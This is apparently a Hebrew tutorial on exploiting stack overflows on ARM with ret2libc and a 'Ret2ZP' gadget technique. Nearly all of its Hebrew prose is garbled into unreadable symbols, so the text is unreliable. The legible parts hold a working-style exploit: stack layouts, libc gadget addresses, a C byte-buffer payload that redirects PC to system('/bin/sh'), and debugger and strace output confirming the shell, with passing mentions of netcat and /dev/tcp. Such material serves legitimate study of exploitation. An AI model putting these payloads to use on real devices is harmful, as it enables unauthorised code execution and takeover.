˵ˮˣ˲ˢ ˸ˮ˟ˢˢ˰˧ˠ˲ˢ ˢ˧˴ 

 

-˟ ARM ˪ˣ˴˧ˮ˪ ˫˧˩˶ˡ ˶˲˯ˬ ˭ˮ˷˧ ,ˢ˰˧ˠ˲ˢ ˢ˧˴˵ˮˣ˲˪ ˫˞˸ˢ˟ ˧ˣ˪˸: 

1.  ˨˶˰ ˢ˶˧ˤ˥ˬ ˢˮ˧˞˷ ˢ˰˧ˠ˲ ˢ˧˴˵ˮˣ˲)VOID( 

2. ˨˶˰ ˢ˵˧ˤ˥ˬ ˢˮ˧˞˷ ˢ˰˧ˠ˲ ˢ˧˴˵ˮˣ˲ , ˫˧˶ˠˣ˞ˢ ˸˶ˤ˰˟ ˫˧˶˟ˡ ˶˲˯ˬ ˢ˷ˣ˰ ˨˞R0-R3. 

3.  ˨˶˰ ˢ˶˧ˤ˥ˬ˷ ˢ˰˧ˠ˲ ˢ˧˴˵ˮˣ˲)int, char* ,(... 

 

˪˰ ˱˯ˣˮ ˰ˡ˧ˬ ˭˸ˮ˧˧ ˨ˬ˯ˬˢ ˨˷ˬˢ˟ ˶ˡ˯ˢ ˧˲˪ ˸ˣ˧˴˵ˮˣ˲ˢ ˠˣ˯ ˪˩ ˪ˣ˴˧ˮ. 

 

˟ ˪ˣ˴˧ˮ- ARM 

 

 ˶ˠˣ˞˟ ˢ˦˧˪˷PC 

 

˧˸˧˧˰˟ ˫ˠ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˨˞ ˪˵ ˣˮ˧ˢ ˭ˣ˷˞˶ˢ ˢ˶˵ˬˢ ˪ˣ˴˧ˮ: 

 ˶ˠˣ˞˟ ˦ˣ˪˷˪ ˫˧˥˧˪˴ˬ ˣˮ˥ˮ˞ ˰ˣˡˬˣ ˡ˟ˣ˰ ˢˤ ˨˧˞ ˶˟˯ˢˢ ˶˥˞˪ ˡ˧ˬ ˞˟ˣ˧ ˪ˣ˴˧ˮˢ ˸ˣˡˣ˞ ˶˟˯ˢˢPC 

) Program- Counter ˪ ˪˧˟˵ˬˢ ˣˮ˧ˢEIP ˟-86X.( 

 ˣˮ˞ ˶˷˞˩ˢ˧˴˵ˮˣ˲˪ ˫˧˞˶ˣ˵ , ˫˧ˮˬ˧ˢ ˫˧˶ˠˣ˞˪ ˫˧ˤˤˣˬ ˫˧˶˦ˬ˶˲ˢˬ ˵˪˥)R0-R3 (] ˸ˣ˶ˡˠˢ˟ ˧ˣ˪˸ ˢˤ

˶ˣˡ˧ˢˢ ,˶˟ˡˢ ˣ˸ˣ˞ ˢˤ ˟˶˪ ˨˞ [˸˧ˮ˯˥ˬˢ ˨ˣ˸ ˪˞ ˣ˲˥ˡ˧ ˞˪ˣ. 

 ˢ˧˴˵ˮˣ˲˪ ˞˶˵ˮ ˞ˬˠˣˡ ˶ˣ˸˟Func  ˫˧˶˦ˬ˶˲ ˧ˮ˷ ˸˪˟˵ˬ ˶˷˞: 

mov R0,R3  

mov R1,R2  

bl func ; )ˢ˦ˬ˪ ˢ˶˰ˢ ˢ˞˶(  

¶ ˢ˶˰ˢ: ˟ ˸ˣˡˣ˵˲˪ ˢˬˣˡ˟-86X ) ˸ˣ˞ˢ ˧˩ ˫ˠ ˣ˶˩ˤl  ˨ˣ˸˟bl  ˢ˷ˣ˶˧˲"˶ˣ˷˧˵ ˫˰ ˪˴˲˸ˢ ." ˢˡˣ˵˲ˢ

˟ ˶ˬ˷˧˸ ˢ˞˟ˢ- LR ˵ˮˣ˲˪ ˶˧ˤ˥ˢ˪ ˪˧˟˷˟ˣ 'ˢ˦˧˪˷ ˸˞˶ˣ˵ˢ ,LR ˪ ˢ˶ˤ˥ ˤˣˤ˧- (PC. 
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 ˫˧˶ˠˣ˞˟ ˷ˣˬ˧˷ˢ ˸˶ˤ˰˟ ˢ˧˴˵ˮˣ˲˪ ˣ˶˟˰ˣˢ ˫˧˶˦ˬ˶˲ˢ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩R0  x-R3 ) ˸ˣ˶ˡˠˢ˟ ˧ˣ˪˸

˧˪˪˩ˢ ˢ˶˵ˬ˟ ˪˟˞ ˶ˣˡ˧ˢˢ( ,˶ˣ˵ ˢˬ ˪˟˞ ˢ˧˴˵ˮˣ˲ˢ ˨ˣ˸˪ ˫˧˯ˮ˩ˮ ˶˷˞˩ ˢfunc? 

 

push {R4, R11(FP), R14(LR)} ; in x86 : push R4 \ n push R11 \ n push R14  

add FP, SP, #8 ; FP=SP+8  

...  

 

R4  ˶ˠˣ˞ˢ˷ ˭˩˧ˢ˪ ˭˩ˬ ˶˥˞˪ ˡ˧ˬ ˱˥ˡˮSP ˣ˧˪˞ ˰˧˟˴ˬ. ˱˯ˣˮ˟ ,R11 )˸˶ˠ˯ˬ˪ ˰˧˟˴ˬˢ ˫˴˰˟ ˞ˣˢ˷ (

˧ˮ˯˥ˬ˟ ˫˧˞˴ˬˮ ˢ˶ˤ˥˪ ˶ˣ˷˧˵ˢ ˫˰ ˶ˠˣ˞ˢˣˢˤˢ ˶ˡ˯˟ ˸: 

˸˧ˮ˶ˣ˥˞ ˢˤˤ ˸˧ˮ˯˥ˬˢˣ ˢˬ˧ˡ˵ ˫ˡ˵˸ˬ ˭ˣ˶˩˧ˤˢ. 

== | R4 | R11 | LR |  

== * < --  ˸˧˟˩ˣ˩ˢ˷ ˭˩˧ˢ ˞˴ˬˮ ˸˶ˠ˯ˬ˪ ˰˧˟˴ˬˢ 

 

˸˰˩  ˢ˧˴˵ˮˣ˲ˢ ˱ˣ˯ ˪˰ ˪˩˸˯ˮfunc: 

sub SP,FP, #8 ; 0x8  

pop {R4, FP, PC} ; in x86 asm : pop R4 \ n pop FP \ n pop PC \ n 

.word 0x00008400 ; ˪˷ ˰ˡ˧ˬˢ ˭˞˩ ˭˯˥ˣ˞ˬ ˢ˧˴˵ˮˣ˲ˢ 

.word 0x........ ; ˢ˞˪ˢ ˭˩ˣ ...  

................ ; ˢ˞˪ˢ ˭˩ˣ ...   

  

˶ˬˣ˪˩,  ˶ˠˣ˞ˢ˷ ˶˥˞˪LR ˢ˧˴˵ˮˣ˲˪ ˢ˯˧ˮ˩˟ ˸˧ˮ˯˥ˬ˪ ˱˥ˡˮ , ˶ˠˣ˞ˢ ˨ˣ˸˪ ˞˴ˣˬ ˞ˣˢPC  ˢ˞˧˴˧˟

ˢˮˬˬ,˰ˬ˷ˬ  ˶˥˞˪ ˞˴ˣ˧ ˞ˣˢ  ˢ˞˟ˢ ˢ˞˶ˣˢ˟ ˧˩ ˣ˸ˣ˞ ˣˮ˯˶ˡ˷)LR (˸˧ˮ˯˥ˬˢ ˪˰  ˣˮ˪ ˶˷˲˞ˬ˷ ˢˬ

˸˥˵˪  ˶ˠˣ˞ˢ ˪˰ ˢ˦˧˪˷PC ˢ˧˴˵ˮˣ˲ˢˬ ˢ˞˧˴˧˟. 

˫˞  ˸˲˧˵˸ ˢ˯ˮˮret2libc, ˥˧˪˴ˮ ˞˪ ˫ˣ˷ˬ  ˫ˮ˧˞ ˫˧˶˦ˬ˶˲ˢ˷˫˧˥˵˪ˮ ˸˧ˮ˯˥ˬˢˬ. 

 ˫˧˶˦ˬ˶˲˟ ˦ˣ˪˷˪ ˧ˡ˩ ˫˧ˣ˯ˬ ˶ˡ˯˟ ˫˧˵˧˶˦ ˶˲˯ˬ ˢ˷˰ˮ) ˫˧˶ˠˣ˞˟˷R0-R3 (ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ˢ ˧ˮ˲˪. 

 ˸˲˧˵˸ ˢˤ˪ ˞˶˵ˮ ˣˮ˞Ret2ZP )ˢˮˠˢ ˯˲˞˪ ˢ˶ˤ˥( , ˪ˣ˴˧ˮ ˪˷ ˟ˣ˪˧˷ ˣˢˤˢ˶ˤ˥ ˯˯ˣ˟ˬ ˸ˣˮ˩˸ ,ret2libc ,

˫˧˴ˣ˶ ˣˮ˞˷ ˢˬ ˢ˶˵˧˷ ˨˩˪ ˫ˣ˶ˠ˪ ˸ˮˬ ˪˰.  
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Ret2ZP )˯˲˞˪ ˢ˶ˤ˥ ˢˮˠˢ (ï ˢ˲˵˸ˬˢ ˪˷ ˵ˬˣ˰˪ ˶˟˯ˢ. 

 

ˢ˸˰ ,˭ˣˣ˧˩ˬ  ˶ˠˣ˞˟ ˦ˣ˪˷˪ ˫˧˪ˣ˩˧ ˣˮ˞˷PC ,˸ˣ˧˴˵ˮˣ˲˪ ˫˧˶˦ˬ˶˲ ˶˧˟˰ˢ˪ ˫˧˪ˣ˩˧ ˣˮˮ˧˞ ˣ˧˧ˡ˰ ˨˞ , ˢˮˢ

 ˨˧˞ ˦˶ˣ˲ˬ ˶˟˯ˢRet2ZP ˸ˡ˟ˣ˰ 

˥ ˨˧˞ ˪˷ ˢˬˠˡˢ ˢˮˢ˳˴ˣ˥ ˸˷˧˪ˠ ˪˷ ˷˧˥˶˸˟ ˫˧˞˶ˮ ˸˧ˮ˯˥ˬˣ ˳˴ˣ: 

| ---------------- | ---------- | ------------ | ---------------- | ------------------------ |  

| 16 A's         | BBBB     | CCCC       | DDDD           | &function - [0x12345678] |  

| ---------------- | ---------- | ------------ | ---- ------------ | ------------------------ |  

| args           | junk [20]| R4         |R11 - framePointer| prog - counter (PC)      |  

 

 ˞˟ˢ ˳˴ˣ˥ˢ˷ ˶˥˞˪˪˟˵˸ˬ" :AA..A) "16 ˫˧ˬ˰˲ (BBBBCCCCDDDD\x78\x56\x34\x12 

 ˪ ˸˷ˠ˪ ˡˣ˵ˢ ˸˞ ˪˟˵ˮ&0x12345678 x- R4  ˨˶˰ˢ ˸˞ ˪˧˩˧0x43434343 x-R11   ˨˶˰ˢ ˸˞ ˪˧˩˧

0x44444444. 

 ˪˷ ˠˣ˯ ˰˴˟˪ˣ ˣˮ˪˷ ˡˣ˵ˢ ˸˞ ˵ˤ˥˸˪ ˫˧˴ˣ˶ ˣˮ˞ ˫˞RoP )ˢ˶ˤ˥ ˯˯ˣ˟ˬ ˸ˣˮ˩˸ ( ˡˣ˵ˢ ˪˞ ˶ˣˤ˥ˮ) ˧ˣ˪˸

 ˣ˲˥ˡˮ˷ ˫˧˶˦ˬ˶˲ˢ ˶˲˯ˬ˟)˪˪˩˟ ˫˞ ( ˶ˠˣ˞ ˫˞ˣSP  ˫˞˸ˣˬ ˣˮ˧˞)˟ˣ˷˥ ˡˣ˞ˬ( , ˰˧˟˴ˬˢ ˧˶˥˞

ˢ˧˴˵ˮˣ˲˪.( 

ˢ˴˧˲˵ ˫˰ ˢ˧˰˟ˢ ˢˬ  ˶ˠˣ˞ˢˬPC ˞ˣˢ˷ ˣˬ˩  ˞ˣˢ˷˩ ˸ˣ˶˥˞ ˸ˣ˧˴˵ˮˣ˲˪ ˰˧˟˴ˬ) ˭ˣˠ˩SYSTEM 

("/bin/sh")(? 

 

Ret2ZP )ˢˮˠˢ ˯˲˞˪ ˢ˶ˤ˥ (ï ˧ˬˣ˵ˬ ˱˵ˣ˸ ˶ˣ˟˰ 
 

˸˧ˬˣ˵ˬ ˢ˲˧˵˸˟ ˸ˣˡˣ˵˲ ˰˴˟˪ ˧ˡ˩ , ˸˞ ˢ˟ ˟ˣ˸˩˪ ˫˧˪ˣ˩˧ ˣˮ˞ ˭˩ˬ ˶˥˞˪ˣ ˢˡˣ˵˲ ˸˶ˣ˷ ˫˧˩˧˶˴ ˵˶ ˣˮ˞

˳˧˶ˢ˪ ˫˧˴ˣ˶ ˣˮ˞˷ ˸ˣˡˣ˵˲ˢ .˥ˣ˶ˬ ˢˡˣ˵˲ ˸˶ˣ˷ ˫˰ ˸ˣˡ˥ˣ˧ˬ ˸ˣˡˣ˵˲˪ ˫˧˵ˣ˵ˤ ˞˪ ˣˮ˞˸˵ ,netcat- ˫˧

˪ ˢ˟˧˸˩ˣ- /dev/tcp. 

 ˸˲˧˵˸ ˢ˷˰ˮret2libc  ˫˰ROP , ˸˞ ˫˧˞˸ˮˣ ˣˮ˧ˬ˴˰ ˪˰ ˟ˣ˸˩˪ ˞˪ ˧ˡ˩  ˸˧ˮ˯˥ˬˢ  ˸˞ ˤ˧ˤˮ ˸˴˵

 ˫˧˶˦ˬ˶˲ˢ)˰" ˧Ret2ZP:( 

˫ˢ˪ ˫˧˵ˣ˵ˤ ˣˮ˞˷ ˫˧˶˟ˡˢ: 

1.  ˸ˤˣ˶˥ˬˢ ˪˷ ˸˟ˣ˸˩/bin/sh  , ˨ˣ˸ˬ ˸ˣ˪˵˟ ˢ˸ˣ˞ ˠ˧˷ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˞libc. 

2. ˧ˢ˪ ˸ˮˬ ˪˰ ˸˧ˮ˯˥ˬˢ ˪˷ ˢˤˤˢ ˳˴ˣ˥ˢ ˫˰ ˫˧ˮ˶˩ˮˣ˯ˬ ˶˞˷)ˢ˟ˣ˥ ˞˪ , ˸ˮ˟ˢ˪ ˪˧˰ˣˬ ˨˞

ˢ˲˵˸ˢˢ.( 
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3. ˪ ˸˟ˣ˸˩ ˱ˣ˥ˡ˪ ˨˶ˡ- R0  ˸˧ˮ˯˥ˬ˟ ˞˴ˬˮ ˞˪˷) ˸ˤˣ˶˥ˬˢ ˪˷ ˸˟ˣ˸˩/bin/sh  ˨ˣ˸ˬlibc.( 

4.  ˢ˧˴˵ˮˣ˲ˢ ˪˰ ˰˧˟˴˸˷ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˶ˤ˥ˢ ˸˞ ˸ˣˮ˷˪SYSTEM. 

˰ˣ˴˧˟ˢ ˧˩˶ˡ: 

1. ˰ˣ˴˧˟˪ ˪˵. 

2. ˰ ˸˞ˤ ˠ˧˷ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˞"ˬ ˢ˶ˤ˥˟ ˷ˣˬ˧˷ ˧- wprintf  ) ˶˟˯ˢˢ ˪˰ ˠ˪ˡˮ ˭˩˪ˣ ˞˟ˢ ˱˧˰˯˟ ˶˟˯ˣ˧

˭˞˩( , ˞˪ ˣˮ˞ˣ ˢ˪ˣ˰˲ˢ ˱˴˶˟ ˦ˣ˪˷˪ ˫˧˪ˣ˩˧ ˭˧˧ˡ˰ ˣˮ˞˷ ˧ˮ˲ˬ ˢˤˢ ˢ˶˵ˬ˟ ˢ˟ˣ˥ ˣˮ˧˞ ˣˢˤ ˨˞

˫˧ˮ˶˩ˮˣ˯ˬ ˶˞˷ˮ˷ ˸ˮˬ ˪˰ ˸˧ˮ˯˥ˬˢ ˸˞ ˤ˧ˤˢ˪ ˫˧˵ˣ˵ˤ. 

3. ˸˰ ˩ ,˪ ˫˧˶˦ˬ˶˲ˢ ˸˞ ˱ˣ˥ˡ˪ ˨˶ˡ ˷˲˥ˮ ˣ˞ˣ˟- R0 , ˶ˠˣ˞ˢ ˪˰ ˣˮ˸˦˧˪˷ ˸˞ ˡ˟˞˪ ˧˪˟ˬPC. 

 

˥ˬ ˣˮ˞ ˸˞˶ˣˢ ˫˧˷˲POP  ˸˞ ˸ˣ˥˲˪ ˢ˪˧˩ˬ ˶˷˞ ˢ˧˪˞ ˳ˣ˲˵˪R0   ˶ˠˣ˞˟ˣPC .˶˸ˣ˧ ˢ˟ ˦ˣ˪˷ˮ˷ ˪˩˩ , ˨˩

˟ˣ˦ ˶˸ˣ˧ , ˪˰ ˵˶ ˢ˦˧˪˷˪ ˫˧˵ˣ˵ˤ ˣˮ˞ ˦˰˩ ˨˞R0   ˶ˠˣ˞ˣPC. 

R0  ˢ˪˧˩ˬˢ ˸ˤˣ˶˥ˬ ˪˷ ˸˟ˣ˸˩ ˪˞ ˰˧˟˴ˢ˪ ˶ˣˬ˞/bin/sh  ˶ˠˣ˞ˣPC  ˸˧˴˵ˮˣ˲ ˪˞ ˰˧˟˴ˢ˪ ˶ˣˬ˞SYSTEM. 

ˬ ˶˷˞ ˞ˬˠˣˡ ˫˩˧ˮ˲˪- libc  ˶˷˞  ˸˞˶ˣˢ ˢ˪˧˩ˬPOP  ˫˰R0  ˶ˠˣ˞ˢˣPC. ˬ ˢ˥˵˪ˮ ˞ˬˠˣˡˢ- libc , ˨˞

˶˥˞ ˫ˣ˵ˬˬ ˫ˠ ˥˵˪˧ˢ˪ ˢ˪˩˧ ,˸˧˦˞˦˯ ˢˮ˧˞ ˞ˬˠˣˡˢ ˸˟ˣ˸˩˷ ˞ˡˣˣ˪ ˟ˣ˷˥ ˨˞. 

ˣˮ˞˴ˬ˷ ˢˬ ˢˮˢ: 

0x41dc7344 <erand48+28>:      bl      0x41dc74bc <erand48_r>  

0x41dc7348 <erand48+32>:      ldm  SP, {R0, R1} <==== ˭˞˩˪ ˳ˣ˲˵˪ ˫˧˩˧˶˴ ˣˮ˞ 

 

˪ ˫ˣ˶ˠˮ ˣ˞ˣ˟- R0  ˢ˪˧˩ˬˢ ˸ˤˣ˶˥ˬ ˪˷ ˸˟ˣ˸˩ ˪˞ ˰˧˟˴ˢ˪/bin/sh  

0x41dc734c < erand48+36>:      add SP, SP, #12 ; 0xc  

0x41dc7350 <erand48+40>:      pop {PC} ====> SYSTEM ˫˧˞˴ˣ˧ ˣˮ˞ ˭˞˩ . ˢˤ˪ ˫ˣ˶ˠˮ ˣ˞ˣ˟

˪ ˰˧˟˴ˢ˪-  

 

˦˰˩ ,˪˩˟ ˫˧˦˪ˣ˷ ˣˮ˞˷˩ ,ˮ ˣ˞ˣ˟ˣˤˢ ˢˬˠˣˡ˪ ˢˬˣˡ ˢ˧ˢ˸ ˶˷˞ ˢ˲˵˸ˢ ˰˴˟: 

| ------- | -------- | ---- | ---- | ---------- | --  4 Bytes -- | -- 4 bytes -- | -- 4 bytes -- | -- 4 bytes -- |  

|16 A's |BBBB ---- | R4 |R11 |&41dc7348 | &/bin/sh   | EEEE      | FFFF      | &SYSTEM   |  

| ------- | -------- | ---- | ---- | ---------- | --- --------- | ----------- | ----------- | ----------- |  

| args  |junk[20]| R4 | FP | PC       | R0         | R1        |    JUNK    | prog - counter  |  

|       |        |    |    |          |            |           | (SP Lift)  |    (pc)    |  
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ˢˤ ˣˬ˩ ˢ˞˶˧ ˳˴ˣ˥ˢ: 

A..A*16 B BBB CCCC DDDD \ x48 \ x73 \ xdc \ x41  

\ xE4\ xFE\ xEA\ x41 EEEE FFFF \ xB4\ xE3\ xDC\ x41  

 

ˣ˞: 

char buf[] = " \ x41 \ x41 \ x41 \ x41"  

" \ x41 \ x41 \ x41 \ x41"  

" \ x41 \ x41 \ x41 \ x41"  

" \ x41 \ x41 \ x41 \ x41" //16A  

" \ x42 \ x42 \ x42 \ x42" //fill buf  

" \ x43 \ x43 \ x43 \ x43" //  ˢ˞˧˴˧ˢ ˸˧˴˵ˮˣ˲˪ ˭ˣ˷˞˶ˢ ˶˦ˬ˶˲ˢ)ˮˢ ˞ˬˠˣˡ˟"˪(  

" \ x44 \ x44 \ x44 \ x44" //R11  

" \ x48 \ x73 \ xdc \ x41" //R0,R1 ˢˮ˧ˤˬˢ ˢ˧˴˵ˮˣ˲ˢ 

" \ xE4\ xFF\ xEA\ x41" //R0 ï ñ/bin/sh\ 0ò string 

" \ x45 \ x45 \ x45 \ x45" //R1 ï ldm contains r1 as - well  

" \ x46 \ x46 \ x46 \ x46" //JUNK ï stack is 12 bytes more, not 8. So we got 4 

spare by tes.  

" \ xB4\ xFF\ xDC\ x41";//SYSTEM  

 

 ˫˞ ˫˧˷ˮbreakpoint  ˪˰ SYSTEM ˫˧˧˦ˮˣˣ˪˶ˢ ˫˧˶ˠˣ˞ˢ ˣ˞˶˧ ˨˩: 

=> R0 -  0x41EAFFE4 ; (&/bin/sh)  

=> R1 -  0x45454545  

=> R4 -  0x43434343  

=> R11 -  0x44444444  

 

˴˵ˮˣ˲ˣ ˸˧SYSTEM  ˸˞ ˳˧˶˸ˣ ˞˶˵˧˸/bin/sh. 

 

Ret2ZP )ˢˮˠˢ ˯˲˞˪ ˢ˶ˤ˥ (ï ˣ˸ ˶ˣ˟˰˵˥ˣ˶ˬ ˱˵ 

 

˸ˣ˟ˣ˦ ˭ˢ ˸ˣ˧ˬˣ˵ˬ ˸ˣ˲˵˸ˬ , ˸ˣ˲˵˸ˬ˟ ˫ˠ ˷ˣˬ˧˷˪ ˸ˮ˸˧ˮ ˣˤ ˢ˦˧˷ˣ ˵ˣ˥˶ˬ ˸ˣˡˣ˵˲ ˳˧˶ˢ˪ ˫˧˴ˣ˶ ˣˮ˞ ˨˞

˸ˣ˧ˬˣ˵ˬ .ˢ˞˪ˢ ˢˤ ˸˞ ˶ˣ˵˥ˮ ˣ˞ˣ˟: 

˞ˬˠˣˡ˪ ,˪ ˣˮˬ˶ˠ ˶˟˩ ˫˞- R0  ˸ˤˣ˶˥ˬ˪ ˰˧˟˴ˢ˪/bin/sh  ˞ˣˢ ˣˮ˪˷ ˳˴ˣ˥ˢ ˪ˡˣˠˣ[64]  ˢ˧˴˵ˮˣ˲ˢ˷ ˧ˮ˲ˬ

SYSTEM ˸˧ˮ˯˥ˬ˟ ˫ˣ˵ˬˢ ˸˞ ˣˮ˪ ˢ˵˯˧˶ ) ˪ˡˣˠ˟ ˭ˣˠ˩ ˭˦˵ ˳˴ˣ˥˟ ˷ˣˬ˧˷ ˦˰ˬ˪[16]  ˫˧˪˟˵ˬ ˣˮ˞ ˣ˟˷

DWORD ˰ ˵˯ˣ˶ˬ ˞˪˷ ˳˴ˣ˥ ˪˷ ˱˸ˣ˷ˬ" ˢ˧˴˵ˮˣ˲ˢ ˧SYSTEM.( 

 ˫˧˶ˠˣ˞˟ ˸ˣ˶˥˞ ˸ˣ˧˴˵ˮˣ˲˪ ˞˶˵ˮ˷ ˢ˥ˮˢ˟R4, R5, R6  ˶ˠˣ˞˟ˣLR  ˶ˠˣ˞˪ ˣˬˠ˶ˣ˸˧ ˶˷˞PC , ˣˮ˪˷ ˳˴ˣ˥ˢ

˭˞˩ ˣˬ˩ ˢ˞˶˧: 
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| ------- | --------- | ---- | ---- | ------------ | - 4 b ytes - | - 4 bytes - | - 4 bytes - | -- 4 bytes --- |  

|16 A's |BBBB     | R4 |R11 |&function   | R4      | R5      | R6      | &2nd_func  |  

| ------- | --------- | ---- | ---- | ------------ | --------- | --------- | --------- | ------------ |  

| args  |junk [20]| R4 | FP |prog - counter|1s t param|2nd param| 3rd  param|prog - counter  |  

 

 ˢ˧˴˵ˣˮ˲ˢ ˨ˣ˸ ˪˞ ˳ˣ˲˵˪ ˭˸˧ˮ ˡ˧ˬ˸ ˞˪SYSTEM , ˢ˸ˣ˞ ˶ˡ˯˪ ˨˶ˣ˴ ˷˧ˣ ˸˵˯ˣ˶ˬ ˸˧ˮ˯˥ˬˢ˷ ˭ˣˣ˧˩ˬ

˷ˡ˥ˬ. 

 ˸˧˴˵ˮˣ˲SYSTEM ˩˟ ˸˷ˬ˸˷ˬ- 384 ˣˮ˪˷ ˸˧ˮ˯˥ˬ˟ ˭ˣ˶˩˧ˤ ˪˷ ˫˧˸˟ , ˪˷ ˳˴ˣ˥ ˪ˡˣˠ˟ ˷ˬ˸˷ˮ ˫˞16 

˫˧˸˟ , ˪˟˵ˮ4  ˫˧˲˸ˣ˷ˬ ˫˧˸˟)ˣ˵ ˣˮ˞ ˫˞ ˪˷ ˸˟ˣ˸˩˪ ˫˧˴˲*(SYSTEM+4)  ˳ˣ˲˵˪ ˫˧˪ˣ˩˧ ˣˮ˞ ˢ˧˪˞˷ .

 ˪˞ ˢ˴˧˲˵DWORD  ˫˧˷ˣ˰ ˣˮ˞ ˫˞ ˢ˟ˣ˦ ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧ ˫ˢ˧˪˰ ˣˮ˸˟˸˩ ˞˪˷ ˫˧˸˟ ˪˷privilege 

escalation , ˸˵˥ˣ˶ˬ ˢ˲˵˸ˬ ˶ˣ˟˰ ˢ˟ˣ˦ ˞˪ ˨˞)˪ ˟ˣ˸˩˪ ˣˮ˸ˣ˶˷˲˞˟ ˭˩ ˫˞ ˞˪˞-path.( 

˞ˬˠˣˡ˪: 

˳˧˶ˢ˪ ˭˸˧ˮ :"sh;#AAAAA...." , ˶˷˞ ˢˡˣ˵˲ˢ ˸˶ˤ˰˟ ˳˧˶ˢ˪ ˭˸˧ˮ ˢ˸ˣ˞-DWORD ˭ˣ˷˞˶ˢ , ˳˧˶˧ ˢˤsh;# 

˪ ˰˧ˠ˧˷ ˡ˰ ˨˷ˬˢ˟ ˞ˣ˟˧˷ ˣ˸ ˪˩ˬ ˫˪˰˸˧ˣ-NULL. 

 

 ˨ˣ˸ˬ ˞ˬˠˣˡ˪:strace 

[pid 3832] execve("/bin/sh", ["sh", " - c", "sh;#X \ 332 \ 313 \ 276"...], [/* 

19 vars */]) = 0  

 

 ˣˮ˯ˮ˩ˢsh;#AAAAA.... ˪ ˫ˠ˶ˣ˸ ˢˤˣ-  sh;#X\332\313\276....\0,   ˸˧˴˵ˮˣ˲˷ ˫ˣ˷ˬSYSTEM  ˢ˷ˬ˸˷ˢ

 ˶ˣ˟˰ ˸˧ˮ˯˥ˬ˟ ˫ˣ˵˧ˬ˟ˢˢ˪˷ ˫˧˩˶˴.  ˩ ˤˣˤ˪ ˸˧ˮ˯˥ˬ˪ ˫ˣ˶ˠ˪ ˫˧˩˧˶˴ ˣˮ˞-384  ˧˶˥˞ ˣ˞ ˧ˮ˲˪ ˫˧˸˟

 ˢ˧˴˵ˮˣ˲ˢSYSTEM ˢ˴˶ˮ˷ ˢˡˣ˵˲ ˪˩ ˳˧˶ˢ˪ ˳˧˶ˢ˪ ˧ˡ˩. 

˟ ˫ˣ˵˧ˬ ˣˮ˷˲˧˥- libc  ˸˲˵˸ˬ ˸˞ ˳˧˶ˢ˪ˣ ˣˮ˪˷ ˸˧ˮ˯˥ˬˢ ˸˞ ˤ˧ˤˢ˪ ˪˩ˣˮ˷ ˧ˡ˩Ret2ZP ˢ˥˪˴ˢ˟. 

˫˧˞˶ˣ˵ˢ ˶ˣ˟˰ ˧˪˪˩ ˣˢ˷ˬ ˣˮ˷˲˧˥ ,˫˧˶˥˞ ˫˧˟˶ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˭˧˧ˡ˰ ˨˞ , ˪˷ ˱ˣ˯ˢ ˪˰ ˸˪˩˸˯ˮ ˢ˟ˢ

 ˢ˧˴˵ˮˣ˲ˢwprintf ˫˷ ˞˴ˬˮˣ: 

41df8954:   e28dd00c add SP, SP, #12 ; 0xc  

41df8958:   e49de004 pop {LR} ; (ldr LR, [SP], #4) < ---  ˭˞˩˪ ˳ˣ˲˵˪ ˫˧˩˧˶˴ ˣˮ˞ 

                                   ; LR = [SP]  

                                    ; SP += 4  

41df895c:   e28dd010   add   SP, SP, #16     ; 0x10  <---   ˭˞˩ ˢˤˤ ˸˧ˮ˯˥ˬˢ 

41df8960:   e12fff1e    bx    LR       ;               < ---  ˭˞˩ ˞˴ˮ 

41df8964:   000cc6c4     .word     0x000cc6c 4 
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 ˧˸˧˞˶˷ ˭ˣ˷˞˶ˢ ˶˟ˡˢ ˣˢˤ) ˨ˬ˯ˬˢ ˟˸ˣ˩ï ˸ˬ˶ˠ˸ˬ ˸˶˰ˢ (-˟ libc.so , ˵ˣ˧ˡ˟ ˢˤˣ˫˧˩˧˶˴ ˣˮ˧˧ˢ˷ ˢˬ .

 ˪ ˣˮ˴˲˵0x41df8958 ) pop {LR}   ˪ ˳ˣ˲˵˪ ˭˸˧ˮ˷ ˣ˞0x41df8954  ˣˮ˪˷ ˢ˶ˤ˥ˢ ˸˞ ˸ˣˮ˷˪ ˣˮ˧˪˰ ˢ˧ˢ˧ ˨˞

˫˞˸ˢ˟(. 

ˢ˴˶ˮ˷ ˢˬ˩ ˸˞ˤ ˳˧˶ˢ˪ ˪˩ˣˮ ,˫˰˲ ˶˥˞ ˫˰˲ ,ˬ˟ ˢˤˣˤ˸ ˵˧˲˯ˬ ˪˟˵ˮ˷ ˡ˰˸˧ˮ˯˥. 

˸˧ˮ˯˥ˬˢ ˸˞ ˣˮ˵˧˸˷ ˶˥˞˪ , ˸˧˴˵ˮˣ˲˪ ˢ˶ˤ˥ ˳ˣ˲˵˪ ˪˩ˣˮSYSTEM , ˸˲˵˸ˬ ˸˞ ˢ˥˪˴ˢ˟ ˣˮˬ˪˷ˢ ˸˞ˤ˟

Ret2ZP. 

 ˶ˠˣ˞ ˶˷˞˩ ˭ˣ˷˞˶ˢ ˢ˶˵ˬ˟R0 ˪ ˰˧˟˴ˬ- SP ˢ˰˧ˠ˲ˢ ˢ˧˴˵ˮˣ˲ˢˬ ˢ˞˧˴˧ˢ ˸˰˟ , ˢ˵˧ˮ˩˦˟ ˷ˬ˸˷ˮ

 ˭ˣ˵˧˸˪ ˢ˪˰ˬ˪ ˢ˰˧˲ˣˬ˷R0 ˸˧˸˪˥˸ˢˢ ˸˧ˮ˯˥ˬˢ ˸ˤˤˢˬ ˢ˞˧˶˵ˢ ˪˰ ˶ˣˬ˷˪ˣ. 

 ˣˮ˪ ˷˧ ˫˞˪˟ˠˣˬ ˳˴ˣ˥ ˪ˡˣˠ , ˸˞ ˸ˣˮ˷˪ ˵˶ ˫˧˩˧˶˴ ˣˮ˞SP ˢ˟˧˸˩˪ ˭˸˧ˮ˷ ˶ˣˤ˧˞˪ , ˸˞ˤ ˰˴˟˪ ˫˧˪ˣ˩˧ ˣˮ˞ˣ

